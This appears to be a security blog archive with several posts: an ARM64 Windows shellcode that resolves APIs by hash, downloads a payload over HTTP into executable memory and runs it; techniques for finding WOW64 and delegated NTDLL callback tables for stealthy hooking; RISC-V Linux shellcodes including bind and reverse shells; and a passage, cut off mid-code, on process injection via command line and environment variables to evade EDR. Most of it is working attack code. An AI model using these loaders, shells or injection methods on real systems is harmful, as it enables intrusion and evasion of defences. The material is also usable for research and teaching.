Shellcode: Windows on ARM64 / AArch64

Introduction

Back in October 2018, I wanted to write ARM assembly on Windows. All I could acquire then was a Surface tablet running Windows RT that was released sometime in October 2012. Windows RT (now deprecated) was a version of Windows 8 designed to run on the 32-Bit ARMv7 architecture. By the summer of 2013, it was considered to be a commercial flop.

For developers, it was possible to compile binaries on a separate machine and get them running on the tablet via USB stick or network, but unless you wanted to obtain a developer license, a jailbreak exploit was required. Since there were too many limitations, my attention shifted towards Linux on a Raspberry Pi4.

From what I read, the release of Windows 10 for ARMv7 in 2015 was a distinct improvement over Windows RT. Limitations for developers persisted but at least Microsoft provided support for emulating x86 applications.

Today, I finally have an ARM64 device running Windows 11 without all the problems that plagued previous versions. There’s full native support for developers with Visual Studio 2022 and a Linux subsystem that can run Ubuntu or Debian if you want to program ARM64 applications for Linux. (I know WSL isn’t new, but still). Best of all perhaps is the ability to emulate both 32-bit and 64-bit applications for the x86 architecture.

Toolchain

To support Windows on ARM, you have at least three options:

MSVC and LLVM-MinGW are best for C/C++. And I prefer the GNU Assembler (as) over the ARM Macro Assembler (armasm64) shipped by Microsoft, but the main problem with both is the lack of support for macros. armasm64 supports most of the directives documented by ARM, but appears to have limitations.

From what I can tell, ARMASM has no support for structures making it very difficult to write programs in assembly. This is also a problem with the GNU Assembler and the only way around it is to use symbolic names with the hardcoded offset of each field.

There is some hope. Despite having no direct support for the ARM architecture, flat assembler g (FASMG) by Tomasz Grysztar is an adaptable assembly engine that “has the ability to become an assembler for any CPU architecture.”. There are include files for fasmg which implement ARM64 instructions using macros and it’s what I decided to use for a simple PoC in this post.

Once you setup FASMG, copy the AARCH64 macros from asmFish to the include directory. My own batch file that I execute from a command prompt inside the root directory of fasm looks like this:

@echo off
set include=C:\fasmw\fasmg\packages\utility;C:\fasmw\fasmg\packages\x86\include
set path=%PATH%;C:\fasmw\fasmg\core

Thomas has also provided an ARM64 example to get started.

Calling Convention

Windows uses the same as what’s used on Linux for subroutines. However, invocation of system calls are different: Linux uses x8 to hold system call ID whereas Windows embeds the ID in the SVC instruction.

Register Volatile? Role
x0 Yes Parameter/scratch register 1, result register
x1-x7 Yes Parameter/scratch register 2-8
x8-x15 Yes Scratch registers. Used as parameter too.
x16-x17 Yes Intra-procedure-call scratch registers
x18 No Platform register: in kernel mode, points to KPCR for the current processor; in user mode, points to TEB
x19-x28 No
Scratch register
x29/fp No Frame pointer
x30/lr No Link register
x31/zxr No Zero register

Hello, World! (Console)

Initially, I started working with ARMASM, so the following is just an example of how to create a simple console application.

    ; armasm64 hello.asm -ohello.obj
    ; cl hello.obj /link /subsystem:console /entry:start kernel32.lib

    AREA    .drectve, DRECTVE

    ; invoke API without repeating the same instructions
    ; p1 should be the number of register available to load address of API
    MACRO
        INVOKE $p1, $p2          ; name of macro followed by number of parameters
        adrp   $p1, __imp_$p2
        ldr    $p1, [$p1, __imp_$p2]
        blr    $p1
    MEND

    ; saves time typing "__imp_" for each API imported
    MACRO
        IMPORT_API $p1
        IMPORT __imp_$p1
    MEND

    AREA    data, DATA

Text    DCB "Hello, World!\n"

; symbolic constants for clarity
NULL equ 0
STD_OUTPUT_HANDLE equ -11

    ; the entrypoint
    EXPORT start

    ; the API used
    IMPORT_API ExitProcess
    IMPORT_API WriteFile
    IMPORT_API GetStdHandle

    ; start of code to execute
    AREA    text, CODE
start   PROC
    mov         x0, STD_OUTPUT_HANDLE
    INVOKE      x1, GetStdHandle

    mov         x4, NULL
    mov         x3, NULL
    mov         x2, 14     ; string length...
    adr         x1,Text
    INVOKE      x5, WriteFile

    mov         x0, NULL
    INVOKE      x1, ExitProcess
    
    ENDP
    END

And a simple GUI. A version for FASMG can be found here.

Hello, World! (GUI)

    ; armasm64 msgbox.asm -omsgbox.obj
    ; cl msgbox.obj /link /subsystem:windows /entry:start kernel32.lib user32.lib

    AREA    .drectve, DRECTVE

    ; invoke API without repeating the same instructions
    ; p1 should be the free register available to load address of API
    MACRO
        INVOKE $p1, $p2
        adrp   $p1, __imp_$p2
        ldr    $p1, [$p1, __imp_$p2]
        blr    $p1
    MEND

    ; saves time typing "__imp_" for each API imported
    MACRO
        IMPORT_API $p1
        IMPORT __imp_$p1
    MEND

    AREA    data, DATA

Text    DCB "Hello, World!", 0x0
Caption DCB "Hello from ARM64", 0x0

; symbolic names for clarity
NULL equ 0

    ; the entrypoint
    EXPORT start

    ; the API used
    IMPORT_API ExitProcess
    IMPORT_API MessageBoxA

    ; start of code to execute
    AREA    text, CODE
start   PROC
    mov         x3,NULL
    adr         x2,Caption
    adr         x1,Text
    mov         x0,NULL
    INVOKE      x4, MessageBoxA

    mov         x0, NULL
    INVOKE      x1, ExitProcess
    
    ENDP
    END

Symbolic Names

; The following are 64-Bit offsets.
TEB_ProcessEnvironmentBlock                  = 0x00000060
TEB_LastErrorValue                           = 0x00000068

PEB_Ldr                                      = 0x00000018
PEB_LDR_DATA_InLoadOrderModuleList           = 0x00000010

LDR_DATA_TABLE_ENTRY_DllBase                 = 0x00000030

IMAGE_DOS_HEADER_e_lfanew                    = 0x0000003C

IMAGE_EXPORT_DIRECTORY_Characteristics       = 0x00000000
IMAGE_EXPORT_DIRECTORY_TimeDateStamp         = 0x0004
IMAGE_EXPORT_DIRECTORY_MajorVersion          = 0x0008
IMAGE_EXPORT_DIRECTORY_MinorVersion          = 0x000A
IMAGE_EXPORT_DIRECTORY_Name                  = 0x0000000C
IMAGE_EXPORT_DIRECTORY_Base                  = 0x00000010
IMAGE_EXPORT_DIRECTORY_NumberOfFunctions     = 0x00000014
IMAGE_EXPORT_DIRECTORY_NumberOfNames         = 0x00000018
IMAGE_EXPORT_DIRECTORY_AddressOfFunctions    = 0x0000001C
IMAGE_EXPORT_DIRECTORY_AddressOfNames        = 0x00000020
IMAGE_EXPORT_DIRECTORY_AddressOfNameOrdinals = 0x00000024

STATFLAG_DEFAULT = 0
STATFLAG_NONAME = 1
STATFLAG_NOOPEN = 2

STREAM_SEEK_SET	= 0
STREAM_SEEK_CUR	= 1
STREAM_SEEK_END	= 2

Structures and Unions

FASMG provides macros to support struct and union that are supported by Borland’s Turbo or Microsoft’s Macro Assembler.

struct LARGE_INTEGER
    LowPart  dd ?
    HighPart dd ?
ends

struct ULARGE_INTEGER
    LowPart  dd ?
    HighPart dd ?
ends

struct GUID
    Data1 	dd ?
    Data2 	dw ?
    Data3 	dw ?
    Data4 	db 8 dup(?)
ends
    
struct STATSTG
    pwcsName          dq ?   ; LPOLESTR
    _type             dd ?   ; DWORD
    _padding          dd ?   ; padding for _type
    cbSize            ULARGE_INTEGER
    mtime             FILETIME    
    ctime             FILETIME  
    atime             FILETIME
    grfMode           dd ?
    grfLocksSupported dd ?
    clsid             GUID
    grfStateBits      dd ?
    reserved          dd ?
ends

COM Interfaces

The shellcode uses the IStream object to read data from the HTTP request. FASMG provides macros to declare an interface. There’s also comcall and cominvk macros to invoke interface methods. I decided not to use them here. As pointed out before in relation to executing .NET assemblies, interfaces are just structures with function pointers.

struct IStreamVtbl
    ; IUnknown
    QueryInterface dq ?
    AddRef         dq ?
    Release        dq ?
    
    ; ISequentialStream
    Read           dq ?
    Write          dq ?
    
    ; IStream
    Seek           dq ?
    SetSize        dq ?
    CopyTo         dq ?
    Commit         dq ?
    Revert         dq ?
    LockRegion     dq ?
    UnlockRegion   dq ?
    Stat           dq ?
    Clone          dq ?
ends
          
struct IStream
    lpVtbl         dq ? ; pointer to IStreamVtbl
ends

Local Variables

FASMG doesn’t support these out of the box. But what you can do is define a structure with your variables in it.

struct var_tbl
    pStream   IStream
    Stg       STATSTG
    liZero    LARGE_INTEGER
    BytesRead dq ?
    pCode     dq ?
ends

At the entry of program or subroutine, subtract the size of the structure (aligned by 16) from the stack pointer.

    sub        sp, sp, ((sizeof.var_tbl + 15) and -16)

Then when you need to address a variable, offsets can be accessed with the ADD instruction.

    ; x2 = &var_tbl.pStream
    add        x2, sp, var_tbl.pStream

To access the value store in var_tbl.pStream

    ; x2 = var_tbl.pStream
    ldr        x2, [sp, var_tbl.pStream]

Macros

The most powerful feature of FASMG is its support for macros. It’s possible to implement cryptographic hashes like SHA256, SHA512 and SHA3 purely with macros. The following doesn’t demonstrate the full potential of FASMG at all.

macro hash_api dll_name, api_name
    local dll_hash, api_hash, b

    ; DLL 
    virtual at 0  
        db dll_name  
        dll_hash = 0  
        repeat $
            load b byte from % - 1  
            dll_hash = (dll_hash + b) and 0xFFFFFFFF
            dll_hash = ((dll_hash shr 8) and 0xFFFFFFFF) or ((dll_hash shl 24) and 0xFFFFFFFF) 
        end repeat  
    end virtual

    ; API
    virtual at 0  
        db api_name  
        api_hash = 0  
        repeat $
            load b byte from % - 1
            api_hash = (api_hash + b) and 0xFFFFFFFF
            api_hash = ((api_hash shr 8) and 0xFFFFFFFF) or ((api_hash shl 24) and 0xFFFFFFFF) 
        end repeat  
    end virtual

    dd (dll_hash + api_hash) and 0xFFFFFFFF
end macro

Thread Environment Block

xpr is an alias for the x18 register. As noted in the table of integer registers, it contains a pointer to the TEB for user-mode applications. Every offset used by AMD64 can probably be used for ARM64. However, it would be safer check debugging symbols.

System Calls

For x86, the syscall number is placed in the accumulator (EAX/RAX) but for ARM64, it’s embedded in the SVC opcode itself and there appears to be no alternative. (at least not that I’m aware of). To build a new stub would require using NtAllocateVirtualMemory and manually encoding the instruction.

HTTP Download

The following code uses URLOpenBlockingStream to download a shellcode and execute in memory.

start:
    ;brk        #0xF000
    
    sub        sp, sp, ((sizeof.var_tbl + 15) and -16)
    
    adr        x20, hash_tbl
    adr        x21, invoke_api

    ; LoadLibraryA("urlmon.dll")
    adr        x0, urlmon_name
    blr        x21
    cbz        x0, exit_shellcode
    
    ; hr = URLOpenBlockingStreamA(NULL, szUrl, &pStream, 0, 0);
    mov        x4, xzr
    mov        x3, xzr
    add        x2, sp, var_tbl.pStream
    adr        x1, url_path
    mov        x0, xzr           ; NULL
    blr        x21
    cbnz       x0, exit_shellcode
    
    ; STATSTG Stg;
    ; hr = pStream->Stat(&Stg, STATFLAG_NONAME);
    mov        x2, STATFLAG_NONAME
    add        x1, sp, var_tbl.Stg
    ldr        x0, [sp, var_tbl.pStream]
    ldr        x3, [x0, IStream.lpVtbl]
    ldr        x3, [x3, IStreamVtbl.Stat]
    blr        x3
    cbnz       x0, exit_shellcode    
    
    ; LARGE_INTEGER liZero = { 0 }; 
    ; hr = pStream->Seek(liZero, STREAM_SEEK_SET, NULL);
    mov        x3, xzr                ; NULL
    mov        x2, xzr                ; STREAM_SEEK_SET
    add        x1, sp, var_tbl.liZero
    str        xzr, [x1]
    mov        x1, xzr
    ldr        x0, [sp, var_tbl.pStream]
    ldr        x4, [x0, IStream.lpVtbl]
    ldr        x4, [x4, IStreamVtbl.Seek]
    blr        x4 
    cbnz       x0, exit_shellcode  
    
    ; pCode = VirtualAlloc(NULL, Stg.cbSize.LowPart, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    mov        x3, PAGE_EXECUTE_READWRITE
    mov        x2, MEM_COMMIT
    ldr        w1, [sp, var_tbl.Stg.cbSize.LowPart]
    mov        x0, NULL
    blr        x21
    cbz        x0, exit_shellcode  
    
    str        x0, [sp, var_tbl.pCode]
    
    ; hr = pStream->Read(pCode, Stg.cbSize.LowPart, &BytesRead);
    add        x3, sp, var_tbl.BytesRead
    ldr        w2, [sp, var_tbl.Stg.cbSize.LowPart]
    ldr        x1, [sp, var_tbl.pCode]
    ldr        x0, [sp, var_tbl.pStream]
    ldr        x4, [x0, IStream.lpVtbl]
    ldr        x4, [x4, IStreamVtbl.Read]
    blr        x4
    cbnz       x0, exit_shellcode  
    
    ldr        x0, [sp, var_tbl.pCode]
    blr        x0
    
    blr        x21
    cbz        x0, exit_shellcode 
exit_shellcode:
    add        sp, sp, ((sizeof.var_tbl + 15) and -16)
    ret
    
invoke_api:
    ; save parameters, except for x0, which won't be used.
    stp        x1, x2, [sp, -64]!
    stp        x3, x4, [sp, 16]
    stp        x5, x6, [sp, 32]
    stp        x7, x8, [sp, 48]

    ; Ldr = (PPEB_LDR_DATA)NtCurrentTeb()->ProcessEnvironmentBlock->Ldr;
    mov        x1, x18 ; xpr
    ldr        x2, [x1, TEB_ProcessEnvironmentBlock]
    ldr        x2, [x2, PEB_Ldr]
    
    ; end = (PLIST_ENTRY)&Ldr->InLoadOrderModuleList;
    add        x2, x2, PEB_LDR_DATA_InLoadOrderModuleList
    ; nxt = end->Flink;
    ldr        x3, [x2]            ; read first entry
nxt_dll:
    cmp        x3, x2              ; while (nxt != end)
    bne        load_dll_loop
    add        sp, sp, 64          ; fixup stack
    ;ret                            ; return to caller
load_dll_loop:
    ; bx = e->DllBase 
    ldr        x4, [x3, LDR_DATA_TABLE_ENTRY_DllBase]         
    ldr        x3, [x3]            ; nxt = nxt->Flink
    
    ; nt = VA(PIMAGE_NT_HEADERS, bx, ((PIMAGE_DOS_HEADER)e->DllBase)->e_lfanew);
    ldr        w5, [x4, IMAGE_DOS_HEADER_e_lfanew]     
    add        x5, x4, w5, uxtw #0 
    
    ; va = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    ; if (!va) continue;
    ldr        w5, [x5, #0x88]     
    cbz        w5, nxt_dll         
    
    ; exp = VA(PIMAGE_EXPORT_DIRECTORY, bx, va);
    add        x5, x4, w5, uxtw #0 
    
    ; cnt = exp->NumberOfNames;
    ; if (!cnt) continue;
    ldr        w6, [x5, IMAGE_EXPORT_DIRECTORY_NumberOfNames]    
    cbz        w6, nxt_dll        
    
    ; dll = VA(PCHAR, bx, exp->Name);
    ldr        w7, [x5, IMAGE_EXPORT_DIRECTORY_Name]      
    add        x7, x4, w7, uxtw #0

    mov        w8, #0              ; dx = 0
hash_dll:
    ; while (*dll) c = *dll++, 
    ; c = (c >= 'A' && c <= 'Z') ? (c | 32) : c, dx += c, dx = R(dx, 8);
    ldrsb      x9, [x7], 1        
    cbz        x9, exit_hash_dll
    
    sub        x10, x9, 'A'
    orr        x11, x9, 32
    cmp        x10, 26
    csel       x9, x11, x9, cc
    add        w8, w8, w9
    ror        w8, w8, 8
    b          hash_dll
exit_hash_dll:
    ; aon = VA(PDWORD, bx, exp->AddressOfNames);
    ldr        w9, [x5, IMAGE_EXPORT_DIRECTORY_AddressOfNames]
    add        x9, x4, w9, uxtw #0
    mov        x10, #0
nxt_api:
    mov        x11, #0
    ; api = VA(PCHAR, bx, aon[i]);
    ldr        w12, [x9, w10, uxtw #2] 
    add        x12, x4, w12, uxtw #0
hash_api_loop:
    ; while (*api) ax += *api++, ax = R(ax, 8);
    ldrsb      x13, [x12], 1
    cbz        x13, exit_hash_api
    
    add        w11, w11, w13
    ror        w11, w11, 8
    b          hash_api_loop
exit_hash_api:
    add        w11, w11, w8    ; 
    ldr        w12, [x20]      ; load hash
    cmp        w11, w12        ; if ((ax + dx) == hx)
    beq        load_api
    
    add        w10, w10, 1     ; i++
    cmp        w10, w6         ; i < cnt
    bne        nxt_api
    b          nxt_dll
    
load_api:
    add        x20, x20, 4
    
    ; aof = VA(PDWORD, bx, exp->AddressOfFunctions);
    ldr        w1, [x5, IMAGE_EXPORT_DIRECTORY_AddressOfFunctions]
    add        x1, x4, x1
    
    ; ono = VA(PDWORD, bx, exp->AddressOfNameOrdinals);
    ldr        w2, [x5, IMAGE_EXPORT_DIRECTORY_AddressOfNameOrdinals]  
    add        x2, x4, x2
    
    ; pfn = VA(PVOID, bx, aof[ono[i]]);
    ldrh       w2, [x2, w10, uxtw #1]  ; read ordinal
    ldr        w1, [x1, x2, lsl #2]    ; read address of function rva
    add        x9, x4, w1, uxtw #0     ; add base

    ; load parameters saved on stack
    ldp        x1, x2, [sp], 16
    ldp        x3, x4, [sp], 16
    ldp        x5, x6, [sp], 16
    ldp        x7, x8, [sp], 16
    
    ; execute API and return to original caller.
    br         x9   
hash_tbl:
    hash_api "kernelbase.dll", "LoadLibraryA"
    hash_api "urlmon.dll",     "URLOpenBlockingStreamA"
    hash_api "kernelbase.dll", "VirtualAlloc"
    hash_api "kernelbase.dll", "ExitThread"
urlmon_name:
    db "urlmon", 0
url_path:
    db "http://localhost:1234/notepad.arm64.bin", 0

Further Reading

Posted in arm, assembly, shellcode, windows | Tagged , , , | Leave a comment

Delegated NT DLL

Introduction

redplait and Adam/Hexacorn already documented this in 2017 and 2018 respectively, so it’s not a new discovery. Officially available since RedStone 2 released in April 2017, redplait states it was introduced with insider build 15007 released in January 2017. It has similarities with the WOW64 function table present in AMD64 versions of NTDLL.

References

Observations

Using IDA Pro or Ghidra with support for debugging symbols enabled, the table can be found at ntdll!_LdrpDelegatedNtdllExports

The DLL itself would be found in one of the following paths.

ArchPath
x86C:\Windows\System32\
AMD64C:\Windows\SysWOW64\
ARM64C:\Windows\SysWOW64\

Table

The table containing function pointers on my system appears in the .text section which indicates the DLL was compiled with .rdata and .text merged. Therefore the PoC to locate the table may or may not work for you unless you change the section to .rdata. Safe to assume it’s in read-only memory on some systems but I haven’t checked. It contains the addresses of at least thirteen function pointers located in the .data section. There may be more or less depending on the build.

The interesting thing is that, like the WOW64 table, the NT delegate table provides a simple way to intercept a variety of callbacks in 32-bit mode without the need to overwrite code with inline hooking. Most tools designed to detect malicious hooks look at executable code rather than changes to function pointers that normally reside in read-only or read-write memory.

PoC to find table

Posted in data structures, security, windows | Tagged , , , , , , , , | Leave a comment

WOW64 Callback Table (FinFisher)

Introduction

Ken Johnson (otherwise known as Skywing) first talked about the KiUserExceptionDispatcher back in 2007 . Since then, scattered around the internet are various posts talking about it, but for some reason nobody demonstrating how to use it. It’s been documented that FinFisher misuses the function pointers as part of its virtual machine functionality, so let’s take a look at how to find the table before doing anything creative with it…The code to locate the table didn’t take long and didn’t require looking at FinFisher internals or existing code. It’s a simple heuristic based search.

References

Observations

If you take a look at ntdll!LdrpLoadWow64, that’s called during initialization of a WOW64 process, you’ll see it loading wow64.dll and resolving the address of six exports. This process has been better documented in the posts mentioned above.

  • Wow64LdrpInitialize
  • Wow64PrepareForException
  • Wow64ApcRoutine
  • Wow64PrepareForDebuggerAttach
  • Wow64SuspendLocalThread
  • Wow64SuspendLocalProcess

A closer look at how this works will provide you with an array of function names stored in STRING format and a pointer to a variable that holds each address resolved. The following is my attempt at recreating the same structure.

typedef union _W64_T {
    LPVOID p;
    DWORD64 q;
    LPVOID *pp;
} W64_T;
    
typedef struct _WOW64_CALLBACK {
    STRING Name;
    W64_T  Function;
} WOW64_CALLBACK, *PWOW64_CALLBACK;

//
// Structure based on 64-bit version of NTDLL on Windows 10
//
typedef struct _WOW64_CALLBACK_TABLE {
    WOW64_CALLBACK  Wow64LdrpInitialize;
    WOW64_CALLBACK  Wow64PrepareForException;
    WOW64_CALLBACK  Wow64ApcRoutine;
    WOW64_CALLBACK  Wow64PrepareForDebuggerAttach;
    WOW64_CALLBACK  Wow64SuspendLocalThread;
    WOW64_CALLBACK  Wow64SuspendLocalProcess;
} WOW64_CALLBACK_TABLE, *PWOW64_CALLBACK_TABLE;

WOW64_CALLBACK_TABLE Wow64Table = {
    {RTL_CONSTANT_STRING("Wow64LdrpInitialize"), NULL},
    {RTL_CONSTANT_STRING("Wow64PrepareForException"), NULL},
    {RTL_CONSTANT_STRING("Wow64ApcRoutine"), NULL},
    {RTL_CONSTANT_STRING("Wow64PrepareForDebuggerAttach"), NULL},
    {RTL_CONSTANT_STRING("Wow64SuspendLocalThread"), NULL},
    {RTL_CONSTANT_STRING("Wow64SuspendLocalProcess"), NULL}
    };

Locating Table

There could be a number of ways to do this. In the following example, we search the .rdata section for STRING structures that equal the function pointer we wish to find. Since these strings are constant and unlikely to change, it works reasonably well.

BOOL 
IsReadOnlyPtr(LPVOID ptr) {
    MEMORY_BASIC_INFORMATION mbi;
    
    if (!ptr) return FALSE;
    
    DWORD res = VirtualQuery(ptr, &mbi, sizeof(mbi));
    if (res != sizeof(mbi)) return FALSE;

    return ((mbi.State   == MEM_COMMIT    ) &&
            (mbi.Type    == MEM_IMAGE     ) && 
            (mbi.Protect == PAGE_READONLY));
}

BOOL
GetWow64FunctionPointer(PWOW64_CALLBACK Callback) {
    auto m = (PBYTE)GetModuleHandleW(L"ntdll");
    auto nt = (PIMAGE_NT_HEADERS)(m + ((PIMAGE_DOS_HEADER)m)->e_lfanew);
    auto sh = IMAGE_FIRST_SECTION(nt);
    
    for (DWORD i=0; i<nt->FileHeader.NumberOfSections; i++) {
        if (*(PDWORD)sh[i].Name == *(PDWORD)".rdata") {
            auto rva = sh[i].VirtualAddress;
            auto cnt = (sh[i].Misc.VirtualSize - sizeof(STRING)) / sizeof(ULONG_PTR);
            auto ptr = (PULONG_PTR)(m + rva);
            
            for (DWORD j=0; j<cnt; j++) {
                if (!IsReadOnlyPtr((LPVOID)ptr[j])) continue;
                
                auto api = (PSTRING)ptr[j];

                if (api->Length == Callback->Name.Length && 
                    api->MaximumLength == Callback->Name.MaximumLength) 
                {
                    if (!strncmp(api->Buffer, Callback->Name.Buffer, Callback->Name.Length)) {
                        Callback->Function.p = (PVOID)ptr[j + 1];
                        return TRUE;
                    }
                }
            }
            break;
        }
    }
    return FALSE;
}

void
GetWow64CallbackTable(PWOW64_CALLBACK_TABLE Table) {
    GetWow64FunctionPointer(&Table->Wow64LdrpInitialize);
    GetWow64FunctionPointer(&Table->Wow64PrepareForException);
    GetWow64FunctionPointer(&Table->Wow64ApcRoutine);
    GetWow64FunctionPointer(&Table->Wow64PrepareForDebuggerAttach);
    GetWow64FunctionPointer(&Table->Wow64SuspendLocalThread);
    GetWow64FunctionPointer(&Table->Wow64SuspendLocalProcess);
}

Summary

This type of code isn’t useful to a 32-Bit WOW process without jumping to 64-Bit since the function pointers are stored in the 64-Bit version of NTDLL. There are potentially other uses though like intercepting APCs, anti-debugging and processing exceptions before VEH or SEH, which FinFisher did successfully for many many years….

PoC here

Posted in assembly, data structures, programming, security, windows | Tagged , , | 1 Comment

Shellcode: Linux on RISC-V 64-Bit

RISC-V (pronounced “risk-five” ) is an open standard instruction set architecture (ISA) based on established reduced instruction set computer (RISC) principles. Unlike most other ISA designs, RISC-V is provided under open source licenses that do not require fees to use.

To learn more about the RISC-V architecture, I recently bought a StarFive VisionFive Single Board computer. It’s slightly more expensive than the RPI that runs on ARM, but it’s the closest thing to an RPI we have available right now. It uses the SiFive’s U74 64-bit RISC-V processor core which is similar to the ARM Cortex-A55. Readers without access to a board like this have the option of using QEMU.

You can view the shellcodes here.

The RISC-V ISA (excluding extensions) is of course much smaller than the ARM ISA, but that also makes it easier to learn IMHO. The reduced set of instructions is more suitable for beginners learning their first assembly language. From a business perspective, and I accept I’m not an expert on such issues, the main advantages of RISC-V over ARM is that it’s open source, has no licensing fees and is sanction-free. For those reasons, it may very well become more popular than ARM in future. We’ll have to wait and see.

  X86 (AMD64) ARM64 RISC-V 64
Registers RAX-R15 X0-X31 A0-A31
Syscall Register RAX X8 A7
Return Register RAX X0 A0
Zero Register N/A XMR X0
Relative Addressing LEA ADR LA
Data Transfer (Register) MOV MOV MV
Data Transfer (Immediate) MOV MOV LI
Execute System Call SYSCALL SVC ECALL

Execute /bin/sh

    # 48 bytes
 
    .include "include.inc"

    .global _start
    .text

_start:
    # execve("/bin/sh", NULL, NULL);
    li     a7, SYS_execve
    mv     a2, x0           # NULL
    mv     a1, x0           # NULL
    li     a3, BINSH        # "/bin/sh"
    sd     a3, (sp)         # stores string on stack
    mv     a0, sp
    ecall

Execute Command

    # 112 bytes

    .include "include.inc"
    
    .global _start
    .text

_start:
    # execve("/bin/sh", {"/bin/sh", "-c", cmd, NULL}, NULL);
    addi   sp, sp, -64           # allocate 64 bytes of stack
    li     a7, SYS_execve
    li     a0, BINSH             # a0 = "/bin/sh\0"
    sd     a0, (sp)              # store "/bin/sh" on the stack
    mv     a0, sp
    li     a1, 0x632D            # a1 = "-c"
    sd     a1, 8(sp)             # store "-c" on the stack
    addi   a1, sp, 8
    la     a2, cmd               # a2 = cmd
    sd     a0, 16(sp)
    sd     a1, 24(sp)
    sd     a2, 32(sp)
    sd     x0, 40(sp)
    addi   a1, sp, 16            # a1 = {"/bin/sh", "-c", cmd, NULL}
    mv     a2, x0                # penv = NULL
    ecall 
cmd:
    .asciz "echo Hello, World!"

Bind Shell

    # 176 bytes
 
    .include "include.inc"

    .equ PORT, 1234

    .global _start
    .text

_start:
    addi   sp, sp, -16
    
    # s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    li     a7, SYS_socket
    li     a2, IPPROTO_IP
    li     a1, SOCK_STREAM
    li     a0, AF_INET
    ecall
    
    mv     a3, a0
    
    # bind(s, &sa, sizeof(sa));  
    li     a7, SYS_bind
    li     a2, 16
    li     a1, (((((PORT & 0xFF) << 8) | (PORT >> 8)) << 16) | AF_INET) 
    sd     a1, (sp)
    sd     x0, 8(sp)
    mv    a1, sp
    ecall
  
    # listen(s, 1);
    li     a7, SYS_listen
    li     a1, 1
    mv     a0, a3
    ecall
    
    # r = accept(s, 0, 0);
    li     a7, SYS_accept
    mv     a2, x0
    mv     a1, x0
    mv     a0, a3
    ecall
    
    mv     a4, a0
 
    # in this order
    #
    # dup3(s, STDERR_FILENO, 0);
    # dup3(s, STDOUT_FILENO, 0);
    # dup3(s, STDIN_FILENO,  0);
    li     a7, SYS_dup3
    li     a1, STDERR_FILENO + 1
c_dup:
    mv     a0, a4
    addi   a1, a1, -1
    ecall
    bne    a1, zero, c_dup

    # execve("/bin/sh", NULL, NULL);
    li     a7, SYS_execve
    mv     a2, x0
    mv     a1, x0
    li     a0, BINSH
    sd     a0, (sp)
    mv     a0, sp
    ecall

Reverse Connect Shell

    # 140 bytes

    .include "include.inc"

    .equ PORT, 1234
    .equ HOST, 0x0100007F # 127.0.0.1

    .global _start
    .text

_start:
    addi    sp, sp, -16
    
    # s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    li      a7, SYS_socket
    li      a2, IPPROTO_IP
    li      a1, SOCK_STREAM
    li      a0, AF_INET
    ecall
    
    mv      a3, a0       # a3 = s
    
    # connect(s, &sa, sizeof(sa));
    li      a7, SYS_connect
    li      a2, 16
    li      a1, ((HOST << 32) | ((((PORT & 0xFF) << 8) | (PORT >> 8)) << 16) | AF_INET)
    sd      a1, (sp)
    mv      a1, sp       # a1 = &sa 
    ecall
  
    # in this order
    #
    # dup3(s, STDERR_FILENO, 0);
    # dup3(s, STDOUT_FILENO, 0);
    # dup3(s, STDIN_FILENO,  0);
    li      a7, SYS_dup3
    li      a1, STDERR_FILENO + 1
c_dup:
    mv      a2, x0
    mv      a0, a3
    addi    a1, a1, -1
    ecall
    bne     a1, zero, c_dup

    # execve("/bin/sh", NULL, NULL);
    li      a7, SYS_execve
    li      a0, BINSH
    sd      a0, (sp)
    mv      a0, sp
    ecall

Further Reading

Posted in Uncategorized | Leave a comment

Windows Process Injection: Command Line and Environment Variables

Windows Process Injection: Command Line and Environment Variables

Contents

  1. Introduction
  2. Shellcode
  3. Environment Variables
  4. Command Line
  5. Window Title
  6. Runtime Data

1. Introduction

There are many ways to load shellcode into the address space of a process, but knowing precisely where it’s stored in memory is a bigger problem when we need to execute it. Ideally, a Red Teamer will want to locate their code with the least amount of effort, avoiding memory scrapers/scanners that might alert an antivirus or EDR solution. Adam discussed some ways to avoid using VirtualAllocEx and WriteProcessMemory in a blog post, Inserting data into other processes’ address space. Red Teamers are known to create a new process before injecting data, but I’ve yet to see any examples of using the command line or environment variables to assist with this.

This post examines how CreateProcessW might be used to both start a new process AND inject data simultaneously. Memory for where the data resides will initially have Read-Write (RW) permissions, but this can be changed to Read-Write-Execute (RWX) using VirtualProtectEx. Since notepad will be used to demonstrate these techniques, Wordwarping / EM_SETWORDBREAKPROC is used to execute the shellcode. The main structure of memory being modified for these examples is RTL_USER_PROCESS_PARAMETERS that contains the Environment block, the CommandLine and C RuntimeData information, all of which can be controlled by an actor prior to creation of a new process.

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;                            //0x0
    ULONG Length;                                   //0x4
    ULONG Flags;                                    //0x8
    ULONG DebugFlags;                               //0xc
    PVOID ConsoleHandle;                            //0x10
    ULONG ConsoleFlags;                             //0x18
    PVOID StandardInput;                            //0x20
    PVOID StandardOutput;                           //0x28
    PVOID StandardError;                            //0x30
    CURDIR CurrentDirectory;                        //0x38
    UNICODE_STRING DllPath;                         //0x50
    UNICODE_STRING ImagePathName;                   //0x60
    UNICODE_STRING CommandLine;                     //0x70
    PVOID Environment;                              //0x80
    ULONG StartingX;                                //0x88
    ULONG StartingY;                                //0x8c
    ULONG CountX;                                   //0x90
    ULONG CountY;                                   //0x94
    ULONG CountCharsX;                              //0x98
    ULONG CountCharsY;                              //0x9c
    ULONG FillAttribute;                            //0xa0
    ULONG WindowFlags;                              //0xa4
    ULONG ShowWindowFlags;                          //0xa8
    UNICODE_STRING WindowTitle;                     //0xb0
    UNICODE_STRING DesktopInfo;                     //0xc0
    UNICODE_STRING ShellInfo;                       //0xd0
    UNICODE_STRING RuntimeData;                     //0xe0
    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];  //0xf0
    ULONG EnvironmentSize;                          //0x3f0
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; 

2. Shellcode

User-supplied shellcodes that contain two consecutive null bytes (\x00\x00) would require an encoder and decoder, such as Base64. The following code resolves the address of CreateProcessW and executes a command supplied by the word break callback. The PoC will set the command using WM_SETTEXT.

      bits 64
      
      %include "include.inc"
      
      struc stk_mem
        .hs                   resb home_space_size
        
        .bInheritHandles      resq 1
        .dwCreationFlags      resq 1
        .lpEnvironment        resq 1
        .lpCurrentDirectory   resq 1
        .lpStartupInfo        resq 1
